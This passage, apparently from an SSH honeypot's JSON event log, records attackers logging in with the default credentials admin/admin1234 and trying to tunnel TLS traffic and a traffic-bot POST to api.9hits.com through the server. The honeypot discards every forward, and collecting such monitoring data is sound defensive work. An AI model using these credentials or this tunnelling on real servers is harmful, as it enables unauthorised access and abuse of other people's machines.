ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x10\\x1b\\xab\\xdfCA\\xc1\\xc5\\x99Y\\t\\x87\\x8eJ\\x19\\xe0Fb\\xf6\\xdbW\\xfcT-q\\xb0F,\\xc2\\x98\\xbc\\x1f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:21.724879Z","src_ip":"123.27.168.40","session":"57f498c0804b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:22.226943Z","session":"57f498c0804b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:22.483826Z","src_ip":"123.27.168.40","session":"57f498c0804b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xed\\xa0\\xef_\\x12\\xd3g\\x80\\xd6\\x0b\\xb1-\\xe3w]f\\xa8w\\x15\\xa4\\'\\x87{\\x04\\xab7lVP\\xb9\\xcb; xy|\\xe7\\xf44\\xdf\\xb0\\xf8\\x86\\x81\\x10-\\xe93_4a\\x19\\xd7Y\\x98,\\xf8\\x115D\\x00.lj\\xad\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc4/4\\xd0\\xe5T2Y\\x13\\x1a\\xe8>\\x1dU\\xeb\\xa9\\xcd\\x93~x\\x1d\\xf0G\\x00\\xb9\\x1b\\xc3\\xf6GT\\xd2u\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xed\\xa0\\xef_\\x12\\xd3g\\x80\\xd6\\x0b\\xb1-\\xe3w]f\\xa8w\\x15\\xa4\\'\\x87{\\x04\\xab7lVP\\xb9\\xcb; xy|\\xe7\\xf44\\xdf\\xb0\\xf8\\x86\\x81\\x10-\\xe93_4a\\x19\\xd7Y\\x98,\\xf8\\x115D\\x00.lj\\xad\\x00\"\\x8a\\x8a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc4/4\\xd0\\xe5T2Y\\x13\\x1a\\xe8>\\x1dU\\xeb\\xa9\\xcd\\x93~x\\x1d\\xf0G\\x00\\xb9\\x1b\\xc3\\xf6GT\\xd2u\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:22.486686Z","src_ip":"123.27.168.40","session":"57f498c0804b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:22.884739Z","src_ip":"123.27.168.40","session":"57f498c0804b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.148.145.132","src_port":57735,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec3d0858af90","protocol":"ssh","message":"New connection: 23.148.145.132:57735 (10.17.0.5:22) [session: ec3d0858af90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:33.625768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:33.631009Z","src_ip":"23.148.145.132","session":"ec3d0858af90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":64653,"dst_ip":"10.17.0.5","dst_port":22,"session":"4449733fb038","protocol":"ssh","message":"New connection: 113.164.152.20:64653 (10.17.0.5:22) [session: 4449733fb038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:33.753934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:33.758146Z","src_ip":"113.164.152.20","session":"4449733fb038","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:33.846905Z","src_ip":"23.148.145.132","session":"ec3d0858af90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:34.079218Z","src_ip":"113.164.152.20","session":"4449733fb038","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:35.999958Z","src_ip":"23.148.145.132","session":"ec3d0858af90","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:36.220135Z","src_ip":"113.164.152.20","session":"4449733fb038","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:36.776935Z","session":"4449733fb038","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:37.063701Z","session":"4449733fb038","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:37.422699Z","src_ip":"113.164.152.20","session":"4449733fb038","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Edg/83.0.478.58\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=KXZFSD5PUXZ0czhRTkwmQQ%3D%3D9cFZsDcpcuJ2ChJ0B7RhmxUUIlv3M3d6%2FkTGZNDAouf3X%2F9zgyPlzRSVJhEShn035lfC4oheGwmiBbaM9JpAPbST6sFLRhEzkwllyqWqcGqVjTlc0Twkza2fBwLcT9Z9Q4APmxY9Zsxn5q4b7x7mjE2g%2FOeFdR62OHrYcRT8aA%2B%2BpzTOboT00j4CBB75hvhhfnqu3%2BI6imSWW2MRGCl%2F2IApg%2BsJK%2FTZOpLEvIsTwuKbmp%2Fjp%2Fx7pozXnYXrNdErMRtCwkL1CnruUAPIUYluqqFFcGX%2BqJavoRkFGMVcuxDwzgO8c06av9RoJ3%2BKh9qVbrcm7v%2B%2Bqggts3oJ3Spy7R6jSwjEGGmqPRzcXLkZVKYHziUG7ojA%2B1wWSgJqfnvxXn3Pblcc%2FLTS7D040MYlZ27hx5JQlU0N1bXCBxbZKx72a%2FBpp3OVB4jxSXA5FYCp8koTSplnw3gM8flIyTAi6oPub9cy0Wn5l19XyWe6kuyEaE7LI5zfnNvlXmhLhxGvTb%2B0muYyHSzrvW7kdm62S2jS2VIiRhgptA9TJH9Gpt0M%2F06dnFpxcNlMO8rL4Hqih2RlpybF4SsRP2n6RWBcrSaZCQcokGmjGya5zrWesQYPvFM82bg7eaXv8%2BWTW0Y0kSeJH1B%2BrYbfprU6ejvSLfAuZ73KYIqMJKrMWnz%2B4NoxwrVOgS8PbT9vdhvq6r08GzE8GXqHTIz%2F%2BSKhldNO8prDExqh5C6ZECqC%2BqTw%2FYvmDtH8wVtA%2BW1LYJx4qZlSv73YwDmUeSxdubnJMfSLGSQD9sfepVGgXeRDWrye3R86v8hUQ1ZEv25b4FUYjCwd5cva9wFcf4NBBKPzX7%2B5XSU7xliShJbBqA09EkF%2FVCycBFPGu0Uw9NrH81PSYtz%2B8SwqlBpQ5vN1AC1hnrPQDW3MOx%2B2npDe8TiknLN0hJkBoCMdJwlzhrPgfdO7vz73HJS6%2B16v%2BZh892%2FfGYkUSKMkWpeadXggrZimrieasrrNLpGhabq5gH0ZcpSnhLyXyU0DsMJhIzmdW37hlycEKRUf0bbZNGA0B0jyobYWFho%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1170\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Edg/83.0.478.58\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=KXZFSD5PUXZ0czhRTkwmQQ%3D%3D9cFZsDcpcuJ2ChJ0B7RhmxUUIlv3M3d6%2FkTGZNDAouf3X%2F9zgyPlzRSVJhEShn035lfC4oheGwmiBbaM9JpAPbST6sFLRhEzkwllyqWqcGqVjTlc0Twkza2fBwLcT9Z9Q4APmxY9Zsxn5q4b7x7mjE2g%2FOeFdR62OHrYcRT8aA%2B%2BpzTOboT00j4CBB75hvhhfnqu3%2BI6imSWW2MRGCl%2F2IApg%2BsJK%2FTZOpLEvIsTwuKbmp%2Fjp%2Fx7pozXnYXrNdErMRtCwkL1CnruUAPIUYluqqFFcGX%2BqJavoRkFGMVcuxDwzgO8c06av9RoJ3%2BKh9qVbrcm7v%2B%2Bqggts3oJ3Spy7R6jSwjEGGmqPRzcXLkZVKYHziUG7ojA%2B1wWSgJqfnvxXn3Pblcc%2FLTS7D040MYlZ27hx5JQlU0N1bXCBxbZKx72a%2FBpp3OVB4jxSXA5FYCp8koTSplnw3gM8flIyTAi6oPub9cy0Wn5l19XyWe6kuyEaE7LI5zfnNvlXmhLhxGvTb%2B0muYyHSzrvW7kdm62S2jS2VIiRhgptA9TJH9Gpt0M%2F06dnFpxcNlMO8rL4Hqih2RlpybF4SsRP2n6RWBcrSaZCQcokGmjGya5zrWesQYPvFM82bg7eaXv8%2BWTW0Y0kSeJH1B%2BrYbfprU6ejvSLfAuZ73KYIqMJKrMWnz%2B4NoxwrVOgS8PbT9vdhvq6r08GzE8GXqHTIz%2F%2BSKhldNO8prDExqh5C6ZECqC%2BqTw%2FYvmDtH8wVtA%2BW1LYJx4qZlSv73YwDmUeSxdubnJMfSLGSQD9sfepVGgXeRDWrye3R86v8hUQ1ZEv25b4FUYjCwd5cva9wFcf4NBBKPzX7%2B5XSU7xliShJbBqA09EkF%2FVCycBFPGu0Uw9NrH81PSYtz%2B8SwqlBpQ5vN1AC1hnrPQDW3MOx%2B2npDe8TiknLN0hJkBoCMdJwlzhrPgfdO7vz73HJS6%2B16v%2BZh892%2FfGYkUSKMkWpeadXggrZimrieasrrNLpGhabq5gH0ZcpSnhLyXyU0DsMJhIzmdW37hlycEKRUf0bbZNGA0B0jyobYWFho%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:37.426232Z","src_ip":"113.164.152.20","session":"4449733fb038","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:37.430115Z","src_ip":"113.164.152.20","session":"4449733fb038","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xde\\xeeR\\x84\\t!\\x07\\xaa\\x0c\\x04\\xce\\xe6\\xee\\x84\\xafhU\\xac\\x14r\\xc9\\xe2\\xa9\\x16\\x7f\\xedn\\x10\\xc3\\xf5XG >\\x10 Z\\x95\\xef\\x87%\\xd7xL\\xd9?r\\xdf\\xae\\xe0\\xf3\\x17\\x9e=S\\xdf\\xee\\x82o&\\xac\\x07H\\xff\\xeb\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9a\\xf7Qr\\xb4G~\\xd3\\xe4U\\xa6\\xb3C\\xb9\\xa5\\x94H\\xc1\\xdc\\xedQ'\\x86\\x08\\x80\\xc0[\\xc6\\x8f^Y$\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\